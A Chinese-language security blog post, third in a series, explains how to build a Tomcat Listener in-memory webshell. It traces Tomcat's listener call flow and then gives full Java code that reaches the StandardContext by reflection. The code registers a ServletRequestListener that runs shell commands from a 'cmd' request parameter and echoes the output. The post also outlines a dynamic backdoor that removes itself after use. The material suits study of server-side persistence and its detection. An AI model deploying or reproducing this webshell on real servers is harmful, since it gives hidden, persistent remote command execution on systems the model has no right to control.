深入底層原始碼的Listener記憶體馬(記憶體馬系列篇三)

語言: CN / TW / HK

寫在前面

繼前面的 Filter Servlet 記憶體馬技術,這是系列文章的第三篇了,這篇將給大家帶來的是 Listener 記憶體馬技術。

前置

什麼是Listener?

監聽器 Listener 是一個實現特定介面的 Java 程式,這個程式專門用於監聽另一個 Java 物件的方法呼叫或屬性改變,當被監聽物件發生上述事件後,監聽器某個方法將立即自動執行。

監聽器的相關概念:

事件:方法呼叫、屬性改變、狀態改變等。

事件源:被監聽的物件( 例如:request、session、servletContext)。

監聽器:用於監聽事件源物件 ,事件源物件狀態的變化都會觸發監聽器。

註冊監聽器:將監聽器與事件源進行繫結

監聽器 Listener 按照監聽的事件劃分,可以分為 3 類:

監聽物件建立和銷燬的監聽器

監聽物件中屬性變更的監聽器

監聽 HttpSession 中的物件狀態改變的監聽器

Listener的簡單案例

在Tomcat中建立Listener有兩種方式:

使用web.xml中的 listener 標籤建立

使用 @WebListener 註冊監聽器

我們建立一個實現了 javax.servlet.ServletRequestListener 介面的類。

package pres.test.momenshell;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class ListenerTest implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        System.out.println("destroy Listener!");
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        System.out.println("initial Listener!");
    }
}

將會在請求開始和請求結束分別執行 requestInitialized 或者 requestDestroyed 方法中的邏輯,

之後再 web.xml 中配置Listener。

<listener>
    <listener-class>pres.test.momenshell.ListenerTest</listener-class>
</listener>

之後開啟tomcat容器。

在請求前和請求後都會執行對應邏輯。

Listener流程分析

首先給出程式到 requestInitialized 方法之前的呼叫棧。

requestInitialized:14, ListenerTest (pres.test.momenshell)
fireRequestInitEvent:5982, StandardContext (org.apache.catalina.core)
invoke:121, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:364, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

將會到達 StandardHostValve#invoke 方法。

呼叫了 StandardContext#fireRequestInitEvent 方法進行請求初始化。

在其中,程式通過掃描web.xml中得到了對應的例項化物件,因為我們在web.xml中做出了對應的配置,所以我們能夠通過 if (instance != null && instance instanceof ServletRequestListener) 的判斷,進而呼叫了listener的 requestInitialized 方法。

即為我們的 ListenerTest#requestInitialized 方法。

正文

有了上面的相關基礎,更能加深對記憶體馬的理解。

分析注入

同樣在 javax.servlet.ServletContext 中對於 addListener 有三種過載方式。

跟進api中的註解

能夠實現的的監聽器有:

ServletContextListener:用於監聽整個 Servlet 上下文(建立、銷燬)
ServletContextAttributeListener:對 Servlet 上下文屬性進行監聽(增刪改屬性)
ServletRequestListener:對 Request 請求進行監聽(建立、銷燬)
ServletRequestAttributeListener:對 Request 屬性進行監聽(增刪改屬性)
javax.servlet.http.HttpSessionListener:對 Session 整體狀態的監聽
javax.servlet.http.HttpSessionAttributeListener:對 Session 屬性的監聽

每一種 介面有著不同的方法存在,就比如 ServletRequestListener 這個監聽器。

存在有 requestDestroyedrequestInitialized 方法進行請求前和請求後的監聽,又或者是 ServletRequestAttributeListener 這個監聽器。

存在有 attributeAdded attributeRemoved attributeReplaced 分別對屬性增 / 屬性刪 / 屬性替換做出了監聽。

但是這些監聽器都是繼承同一個介面 EventListener ,我們可以跟進一下 addListener 在Tomcat中的實現

org.apache.catalina.core.ApplicationContext#addListener 中。

如果這裡傳入的是一個ClassName,將會將其進行例項化之後判斷是否實現了 EventListener 介面,也就是是否在監聽類中實現了特性的監聽器。

如果實現了這個標誌介面將會將其強轉為 EventListener 並傳入 addListener 的過載方法。

同樣和前面類似,不能在程式執行過程中進行Listener的新增,並且如果的監聽器是 ServletContextAttributeListener ServletRequestListener ServletRequestAttributeListener HttpSessionIdListener HttpSessionAttributeListener 的時候將會通過呼叫 StardardContext#addApplicationEventListener 新增監聽器,

又如果是 HttpSessionListener ServletContextListener 將會呼叫 addApplicationLifecycleListener 方法進行監聽器的新增,

通過上面的分析我們不難得到Listener記憶體馬中關於 ServletRequestListener 這個監聽器的實現步驟:

首先獲取到 StardardContext 物件

之後建立一個實現了 ServletRequestListener 介面的監聽器類

再然後通過呼叫 StardardContext 類的 addApplicationEventListener 方法進行Listener的新增

實現記憶體馬

有了上面的步驟我們就能夠構造記憶體馬

首先通過迴圈的方式獲取 StandardContext 物件。

ServletContext servletContext = req.getServletContext();
StandardContext o = null;
while (o == null) { //迴圈從servletContext中取出StandardContext
    Field field = servletContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    Object o1 = field.get(servletContext);

    if (o1 instanceof ServletContext) {
        servletContext = (ServletContext) o1;
    } else if (o1 instanceof StandardContext) {
        o = (StandardContext) o1;
    }
}

之後建立一個監聽器類, 我這裡同樣是一段任意程式碼執行的構造,通過reponse寫進行回顯操作。

class Mylistener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        ServletRequest request = servletRequestEvent.getServletRequest();
        if (request.getParameter("cmd") != null) {
            try {
                String cmd = request.getParameter("cmd");
                boolean isLinux = true;
                String osType = System.getProperty("os.name");
                if (osType != null && osType.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                Field request1 = request.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                Request request2 = (Request) request1.get(request);
                request2.getResponse().getWriter().write(output);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
        }
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {

    }
}

最後當然就是將Listen新增。

Mylistener mylistener = new Mylistener();
//新增listener
o.addApplicationEventListener(mylistener);

得到完整的記憶體馬。

package pres.test.momenshell;

import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

public class AddTomcatListener extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            ServletContext servletContext = req.getServletContext();
            StandardContext o = null;
            while (o == null) { //迴圈從servletContext中取出StandardContext
                Field field = servletContext.getClass().getDeclaredField("context");
                field.setAccessible(true);
                Object o1 = field.get(servletContext);

                if (o1 instanceof ServletContext) {
                    servletContext = (ServletContext) o1;
                } else if (o1 instanceof StandardContext) {
                    o = (StandardContext) o1;
                }
            }
            Mylistener mylistener = new Mylistener();
            //新增listener
            o.addApplicationEventListener(mylistener);
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}
class Mylistener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        ServletRequest request = servletRequestEvent.getServletRequest();
        if (request.getParameter("cmd") != null) {
            try {
                String cmd = request.getParameter("cmd");
                boolean isLinux = true;
                String osType = System.getProperty("os.name");
                if (osType != null && osType.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                Field request1 = request.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                Request request2 = (Request) request1.get(request);
                request2.getResponse().getWriter().write(output);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
        }
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {

    }
}

記憶體馬實驗

這裡同樣使用在系列文章第一篇中提到的 IndexServlet 進行實驗。

public class IndexServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String message = "Tomcat project!";
        String id = req.getParameter("id");

        StringBuilder sb = new StringBuilder();
        sb.append(message);
        if (id != null && id != null) {
            sb.append("\nid: ").append(id); //拼接id
        }
        resp.getWriter().println(sb);
    }
}

將會對傳入引數id進行回顯

之後配置 addTomcatListener 路由的Servlet進行記憶體馬的注入。

這是最開始進行訪問的情況。

訪問 addTomcatListener 路由進行記憶體馬的注入。

再次訪問 /index 並傳入cmd引數。

發現不僅僅回顯了我傳入的id引數,同樣進行了命令的執行。

其他的花樣構造

在api中支援的監聽器中,還有很多其他的監聽器可以進行記憶體馬的實現,這裡僅僅是對其中一個比較方法的監聽器進行了說明。

比如說 ServletRequestAttributeListener 這個監聽器,在分析注入那裡也有所提及,我們通要可以將我們的惡意程式碼插入在

這些方法中進行對應的操作進行記憶體馬的觸發。

根據su18提供的一種攻擊思路。

由於在 ServletRequestListener 中可以獲取到 ServletRequestEvent,這其中又存了很多東西,ServletContext/StandardContext 都可以獲取到,那玩法就變得更多了。可以根據不同思路實現很多非常神奇的功能,我舉個例子:

  • 在 requestInitialized 中監聽,如果訪問到了某個特定的 URL,或這次請求中包含某些特徵(可以拿到 request 物件,隨便怎麼定義),則新起一個執行緒去 StandardContext 中註冊一個 Filter,可以實現某些惡意功能。

  • 在 requestDestroyed 中再起一個新執行緒 sleep 一定時間後將我們新增的 Filter 解除安裝掉。

這樣我們就有了一個真正的動態後門,只有用的時候才回去註冊它,用完就刪

總結

也在這裡總結一下這三種的執行順序和特性。

他們的執行順序分別是Listener > Filter > Servlet

Servlet :在使用者請求路徑與處理類對映之處,新增一個指定路徑的指定處理類;
Filter:在使用者處理類之前的,用來對請求進行額外處理提供額外功能的類;
Listener:在 Filter 之外的監聽程序。

總的來說Listener記憶體馬比前兩篇的危害更大,更具有隱藏性,且能夠有更多的構造方式

最後,貼一下我總結的記憶體馬編寫流程

  1. 首先獲取到 StardardContext 物件

  2. 之後建立一個實現了 ServletRequestListener 介面的監聽器類

  3. 再然後通過呼叫 StardardContext 類的 addApplicationEventListener 方法進行Listener的新增

Ref

https://su18.org/post/memory-shell